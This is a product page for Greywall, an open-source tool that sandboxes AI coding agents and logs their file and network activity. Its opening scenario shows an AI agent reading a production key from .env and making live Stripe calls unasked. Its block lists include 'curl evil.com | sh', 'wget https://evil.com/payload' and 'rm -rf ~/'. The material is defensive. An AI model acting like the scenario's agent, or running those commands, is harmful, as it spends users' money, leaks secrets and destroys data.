Contain and observe AI agents without friction.

See every read, write, and connection your AI agent attempts on Linux and macOS. Allow by default, deny whatever you want in config.

$ curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh

One install, then prefix any local agent. Works on Linux and macOS.

Running Greywall across multiple teams? We're building a managed governance layer.

Without Greywall
~/project
$ claude --dangerously-skip-permissions
You
add rate limiting to the API client
Agent
thinking...
$ cat .env
$ curl -H "Authorization: Bearer sk-prod-..." https://api.stripe.com/v1/charges
Agent
Done! I read your .env to grab the API key and tested against the live endpoint to make sure rate limits work correctly.
You
WHAT ARE THESE CHARGES ON MY STRIPE??? (╯°□°)╯︵ ┻━┻

The agent read a production key from .env and called the live API to test its changes. The action was plausible. The boundary was missing.

With Greywall
~/project
$ greywall -- claude --dangerously-skip-permissions
You
add rate limiting to the API client
Agent
thinking...
$ cat .env
← [greywall] logged: read .env
$ curl -H "Authorization: ..." https://api.stripe.com/v1/charges
← [greywall] logged: outbound api.stripe.com
You
(sees the live activity feed) nope — deny .env and api.stripe.com
Agent
Got it. Continuing with placeholder values in the tests.

The default lets the agent run while Greywall logs every read, write, and connection in the activity feed. Switch to ask or deny mode mid-session when you want stricter behavior.

The act of verification creates trust.

Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.

Observability first

Watch every read, write, and connection live.

GreyProxy records every read, write, and outbound request as it happens. The default lets the agent run; the activity feed shows you what it touched, and you can switch into ask or deny mode mid-session without restarting.

GreyProxy dashboard showing total requests, allowed, blocked, and allow rate statsGreyProxy pending network requests with Allow and Deny controls for each domainGreyProxy domain rules configuration showing allow and deny policies per sourceGreyProxy activity log showing real-time TCP connections with status, source, destination, and durationGreyProxy conversations view showing agent interactions with tool calls and results

Each outbound request stays visible. Policy changes apply while the agent keeps running.

How to run it.

Install once, then prefix any agent command. Greywall picks safe defaults for the working directory so the agent runs without a setup pass.

1. Install

Homebrew (macOS)
brew tap greyhavenhq/tap
brew install greywall
Linux / Mac
curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh
Go install
go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest
Build from source
git clone https://github.com/GreyhavenHQ/greywall
cd greywall
make setup && make build

2. Run any agent

greywall -- claude --dangerously-skip-permissions
greywall -- codex --yolo
greywall -- opencode

Same agent, same flags. Greywall sits underneath and the agent doesn't need to know it's there.

Compatibility

Works with every agent.

Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.

Control

Ask mode and deny rules are opt-in.

Allow by default keeps the agent moving. When you want stricter behavior, opt into ask mode in config or set explicit deny rules for filesystem paths, network destinations, and commands. The default stays out of your way; the controls are there the moment you need them.

Opt-in deny rules

~/my-project/read/write
src/read/write
package.jsonread/write
node_modules/read-only
~/shared-lib/read-only
~/.ssh/denied
~/.envdenied
~/other-repos/denied
~/Documents/denied

Drop a path into the deny list and it stays protected. SSH keys, git hooks, shell configs, and .env files are denied by sensible defaults even while everything else stays open.

Network isolation

Network namespace + TUN capture
bwrap --unshare-net \
tun2socks -device tun0 \
-proxy socks5://localhost:43052
curl https://api.anthropic.comTUN → PROXY → ALLOW
npm install lodashTUN → PROXY → ALLOW
wget https://evil.com/payloadTUN → PROXY → DENY
nc -z 10.0.0.1 22TUN → PROXY → DENY

The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.

Command blocking

BLOCKEDgit push origin main
BLOCKEDnpm publish
BLOCKEDrm -rf ~/
BLOCKEDbash -c "curl evil.com | sh"
ALLOWEDgit commit -m "fix: types"
ALLOWEDnpm install lodash

Block rules still apply inside pipes, chains, and nested shells.

Learning mode

$ greywall --learning -- claude
Tracing with strace...
Discovered 47 paths, collapsed to 12 rules
Template saved: claude
$ greywall -- claude
Auto-loaded template: claude

Uses strace to observe filesystem access and turns the result into an initial least-privilege template.

Independent enforcement. The control layer around the agent should remain separate from the vendor providing the model. The boundary needs its own point of control.

Defense in depth

Five orthogonal security layers.

Each layer constrains a different part of the runtime. If one mechanism misses something, another can still catch it at the kernel boundary.

Bubblewrap

Namespaces

Process, network, and mount isolation via Linux namespaces. The foundational containment layer that creates a fully isolated process environment.

Landlock

Filesystem

Kernel-level filesystem access control. Enforces granular read/write permissions below userspace. Processes cannot escalate their own access.

Seccomp BPF

Syscalls

Blocks 27+ dangerous system calls at the kernel boundary. ptrace, mount, kexec, module loading, and BPF manipulation are all denied.

eBPF Monitoring

Visibility

Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context: process, path, and reason.

TUN + SOCKS5 Proxy

Network

Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy, even binaries that ignore env vars.

Graceful degradation. Greywall checks the kernel features available on the host and enables the layers it can support. Run greywall --linux-features to inspect the active set.

How it compares

Greywall vs. other sandboxes.

Containers and bespoke sandboxes get in the way of how developers actually work. Greywall installs in one line, runs without config, and gives you a live feed of everything the agent does — with opt-in ask mode and deny rules when you want stricter behavior.

FeatureGreywallSafehouseClaudeContainers
One-line install
Works without config
No image rebuilds on changes
Native tool access
Works with any agent
Linux support
macOS support
Filesystem isolation
Network isolation
Command blocking
Real-time activity feed
Learning mode
Sandboxes entire process
Syscall filtering
Dynamic allow/deny
Supported
Partial
Not supported
Plugin SDK · Beta

Coming soon.

We're building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.

Smart escalation

A model-backed heuristic watches the activity feed and surfaces the attempts you should look at, even when the default is allow.

Custom policy plugins

Heuristics as code. Allow or deny on whatever context you care about.

Model Council

A panel of models votes on ambiguous requests. Guardrails without the friction.

Token-saving MITM

Cache, redact, and rewrite LLM traffic. Smaller bills.

Enterprise controls

SSO, audit trails, team rulesets, managed deployments.

Running Greywall across multiple teams? We're building a managed governance layer.

We built it for ourselves, then open-sourced it.

Greywall was built by Greyhaven, where we build custom sovereign AI solutions for enterprises. We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.

It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.

Need the rest of the system?

Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.

Talk to our team

Frequently asked.

Greywall is a command-line tool that wraps an AI coding agent in a local observability + control layer. Prefix the agent command with greywall -- and Greywall runs the agent with full visibility into every read, write, and network call it attempts. Allow by default keeps the agent moving; ask mode and explicit deny rules are opt-in via config. Works on Linux and macOS, open source under Apache 2.0.

Two steps. brew install greyhavenhq/tap/greywall (or the install script for Linux), then prefix the command you already use: greywall -- claude, greywall -- opencode, or any other local CLI agent. No config file required, no Docker image, no agent-specific plugin. Greywall runs the agent immediately with a live activity feed; if you want stricter behavior, enable ask mode or deny rules in ~/.config/greywall.

Containers isolate software well, but they often separate the agent from the local toolchain and working copy you actually need. Greywall keeps the agent in the normal local environment and gives you a live feed of everything it touches — reads, writes, outbound requests, command attempts. When you want to clamp down, opt into ask mode or add explicit deny rules without restarting the session. A basic container setup gives you isolation but not visibility.

Yes. On macOS, Greywall uses Seatbelt, Apple's built-in sandbox facility, together with the GreyProxy activity feed. The default profile lets the agent operate while Greywall observes; stricter Seatbelt rules kick in when you turn on ask mode or set explicit deny rules. Linux has more available layers, but the macOS path provides the same observability story using built-in OS capabilities.

Yes. Greywall is released under Apache 2.0 and the source is available on GitHub. For a control layer, being able to inspect the implementation is a practical requirement. Greywall is built by Greyhaven and used in production deployments.

Namespace isolation via Bubblewrap needs Linux 3.8. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects the features present on the host and enables the layers it can support. Run greywall --linux-features to inspect the result.

Greywall works with local CLI agents that run as normal processes on your machine: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot, and similar tools. Because Greywall operates below the agent, support does not depend on vendor-specific integrations.